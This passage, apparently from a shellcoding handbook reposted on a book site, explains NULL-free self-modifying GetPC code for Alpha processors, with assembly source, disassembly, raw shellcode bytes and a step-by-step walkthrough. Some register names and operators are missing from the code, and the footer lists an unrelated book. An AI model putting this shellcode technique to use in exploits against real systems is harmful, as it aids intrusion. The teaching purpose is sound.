Retrieving the Program Counter (GetPC)

We need to retrieve the program counter in order to find our shellcode's location. We need to know our location so that we can reference data stored within the shellcode with easy instructions, such as:

 lda $a0, (getpc()+48) 

This code is based on the brilliant idea of self modifying GetPC code from Taeho Oh, who first discovered the use of the program counter in exploitation. You can read his paper on Alpha overflows at www. wiley .com/compbooks/koziol . We will lightly modify his code to address the I-cache incoherencies.

 #include <alpha/regdef.h> #include <alpha/pal.h>     .text     .arch          generic     .align 4     .globl  main     .ent           main main:     .frame  $sp, 0,           lda  a0, -1000(sp)   #load a0 with stack address (sp  1000) back:    bis  zero, 0x86, a1  #a1 equals to 0x00000086, this is the imb opcode                         #the imb instruction syncs the instruction cache                         #thus making it coherent with the main memory                             #1st round: store imb instruction in (sp  1000)    stl  a1, -4(a0)   #2nd round: overwrite the following bsr instruction                          #with the imb opcode so that we won't loop again          bsr  a0, back     #branch the label back saving pc in a0 register                       #on the second round bsr will be overwritten                 #execution will continue with the next instruction                                            #shellcode continues from here ...     .text:200010D0      main:                                    .text:200010D0              .text:200010D0      18 FC 1E 22               lda     , -1000($sp)      sub_200010D4:     .text:200010D4      11 D4 F0 47               mov     0x86,  .text:200010D8      FC FF 30 B2               stl     , -4() .text:200010DC      FD FF 1F D2               bsr     , sub_200010D4 .........     "\x18\xfc\x1e\x22" "\x11\xd4\xf0\x47" "\xfc\xff\x30\xb2" "\xfd\xff\x1f\xd2" 

As you can see, the GetPC code is kind of messy, but this is what it takes to have NULL -free GetPC code. We have no branch or call instruction to play with that does not have NULL bytes when doing a short jump ahead in memory. Luckily jumping back (negative displacement) in memory does not introduce any NULL bytes. As we can see with the branch to subroutine ( bsr ) instruction, when using negative displacement (since routine to branch is in lower memory) we will not introduce NULL bytes. The bsr instruction can be used to store the program counter with the address of the instruction just after the bsr instruction. The code modifies itself in order not to branch to the back label in an infinite loop. The bsr instruction is overwritten with the PAL_imb instruction. The PAL_imb instruction flushes the instruction cache, thus making the I-cache coherent with the main memory. This is a crucial step for most RISC-based systems using self-modifying codethe instruction cache can contain the unmodified copy of the instructions during that instance of execution, which can lead to crashes and infinite loops .

Let's take a detailed look at the execution flow of the GetPC code:

  1. Load a random writeable address into the a0 register. (stack: sp 1000 ).

  2. Create and store the PAL_imb instruction's opcode ( 0x00000086 ) into the a1 register.

  3. Store the value in a1 register into the address that is in a0 register minus 4. This will simply store the value somewhere in stack (a dummy operation).

  4. Branch to the subroutine identified by the back label and load the program counter into the a0 register.

  5. Create and store the PAL_imb instruction's opcode ( 0x00000086 ) into the a1 register. (This is the same instruction as Step 2.)

  6. Store the value in a1 register into the address that is in a0 register minus 4. This time ( a04 ) points to the next instruction, which the bsr instruction executed at Step 4.

  7. Since the bsr instruction is overwritten with the PAL_imb instruction, we will execute the PAL_imb and keep the execution with the next instruction placed after the GetPC code. Most importantly, we can fill a0 with the address of the next instruction to be executed.

Now, any location inside the shellcode can be referenced through the a0 register. Arguments to system calls such as strings and constants will be referenced this way as well.



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net